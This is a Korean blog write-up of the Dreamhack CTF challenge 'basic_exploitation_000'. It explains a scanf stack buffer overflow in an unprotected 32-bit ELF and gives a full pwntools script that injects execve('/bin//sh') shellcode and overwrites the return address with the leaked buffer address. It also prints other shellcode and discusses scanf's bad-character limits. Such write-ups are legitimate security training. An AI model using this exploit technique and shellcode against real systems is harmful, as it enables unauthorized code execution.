이번에는 32 bit ELF를 준다.
file basic_exploitation_000
basic_exploitation_000: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a0b1247f86255866edcc25bf1af6c782a3d29975, not stripped
보호기법은 없다.
basic_exploitation_000
[*] '/root/dreamhack/basic000/basic_exploitation_000'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
rao.c는 다음과 같은데, system, execve 등의 함수가 없으니까 return address를 overwrite 하기는 어려워 보인다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
buf는 0x80(128) bytes인데 141 bytes 만큼 scanf로 입력을 받으니 문제가 생긴다.
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
Return address를 overwrite 하는 것과 shellcode를 inject 하는 것 말고는 아는 파훼법이 없으니 shellcode를 사용하는 쪽으로 가자.
netcat으로 접속하면 buf의 주소를 주고 프로그램이 종료한다.
nc host3.dreamhack.games 19525
buf = (0xffadfeb8)
이 문제는 여태까지 배운 내용만 가지고는 풀 수가 없어서 빠르게 답을 보고 익히는 걸 추천한다.
from pwn import *
context.arch='i386'
r=remote('host3.dreamhack.games',19525)
buf=int(r.recv()[7:17],16)
payload=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload+=b'A'*(0x84-len(payload))
payload+=p32(buf)
r.send(payload)
r.interactive()
첫 번째 줄에서는 pwntools의 recv 함수로 data를 읽는다. 중간에 slicing은 왜 하나 싶었다.
buf=int(r.recv()[7:17],16)
netcat으로 접속한 결과를 string에 담고 7번째 index부터 16번째 index까지 slicing을 했더니 정확히 hex 값만 나온다.
In [1]: buf='buf = (0xffadfeb8)'
In [2]: buf[7:17]
Out[2]: '0xffadfeb8'
payload는 딱 봐도 shellcode인데 이전에 shell_basic에 사용된 shellcode와는 전혀 다른 것을 알 수 있다. 앞에 시작 byte부터가 다르고 길이도 shell_basic에서 사용한 shellcode가 훨씬 길다.
shell_basic=b'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05'
payload=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
rao.c는 위에서 봤다시피 scanf로 입력을 받는데 scanf를 사용한 프로그램을 exploit 할 때 사용하는 shellcode는 제약사항이 많다.
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
1. Null byte(\x00)가 있으면 안 된다.
scanf에서 null byte는 string의 끝을 가리킨다. shellcode에 null byte가 있으면 shellcode가 잘릴 수 있고 shellcode가 끝나지 않았음에도 불구하고 더 이상 shellcode를 처리하지 않을 수도 있다.
2. Newline(\x0A)가 있으면 안 된다.
scanf는 newline을 구분자(delimeter)로 사용될 때가 있다고 한다. shellcode에 newline이 있으면 프로그램에서 입력을 받을 때 제대로 input을 받지 못하고 프로그램을 종료할 수 있다.
3. Carriage Return(\x0D)가 있으면 안 된다.
Windows의 경우 CRLF를 이용하여 newline을 처리하는데 shellcode에 carriage return이 있을 경우 scanf가 입력을 파싱 하는데 문제가 생길 수 있다.
4. Whitespace Charactres가 있으며 안 된다.
Tab(\x09), Space(\x20)등은 주로 input을 나누는 데 사용이 되는데, shellcode에 tab, space가 들어가 있으면 shellcode를 여러 부분으로 나눠버릴 수 있다.
5. Control Characters (\x01~\x1F)가 있으면 안 된다.
Control Characters는 printable 하지도 않지만 input을 받는 함수나 terminal을 다루는 데 사용이 되어서 shellcode에 포함이 되면 안 된다.
Shellcode에 들어가면 안 되는 문자가 너무 많아서 구글에서 scanf에 사용할 수 있는 shellcode를 찾아서 이용하기로 했다.
https://gist.github.com/Zhang1933/0d1c7b69af48483832eb2d6b22de287e
해당 shellcode는 다음과 같다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80
Return address를 overwrite 할 경우에는 보통 dummy data를 먼저 주고 함수의 return address를 나중에 줬는데 이 문제의 경우 그렇게 할 수가 없다. buffer가 0x80 bytes이고 stack frame pointer 까지는 4 bytes(32bit)이다. 즉 0x84 bytes만큼을 shellcode와 dummy data로 채워야 하는데 shellcode를 먼저 입력하지 않으면 dummy data를 얼마만큼 줘야 되는지 계산을 할 수가 없게 된다.
마지막에는 buf의 주소를 주면 된다.
context.arch(architecture)로 32bit의 경우 i386이라고 적고 64bit의 경우에는 amd64라고 적는다. Architecture를 설정하지 않으면 종종 오류가 나서 나의 경우 그냥 항상 설정해 주는 편이다.
i386(Intel 80386)은 32bit cpu 중에서 처음으로 가장 널리 사용된 칩이라서 context.arch에서 32bit을 설정할 때 사용하는 것 같다.
AMD64 역시 64bit cpu 중에서 처음으로 가장 널리 사용된 칩이라서 context.arch에서 64bit을 설정할 때 사용하는 것 같다.
from pwn import *
context.arch='i386'
r=remote('host3.dreamhack.games',19525)
buf=int(r.recv()[7:17],16)
payload=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload+=b'A'*(0x84-len(payload))
payload+=p32(buf)
r.send(payload)
r.interactive()
휴 어려운 문제였다.
'Dreamhack > pwn' 카테고리의 다른 글
Stack Canary Quiz (1) | 2024.11.15 |
---|---|
basic_exploitation_001 (0) | 2024.11.15 |
Return Address Overwrite (0) | 2024.11.15 |
Calling Convention Quiz (0) | 2024.11.15 |
shell_basic (1) | 2024.11.15 |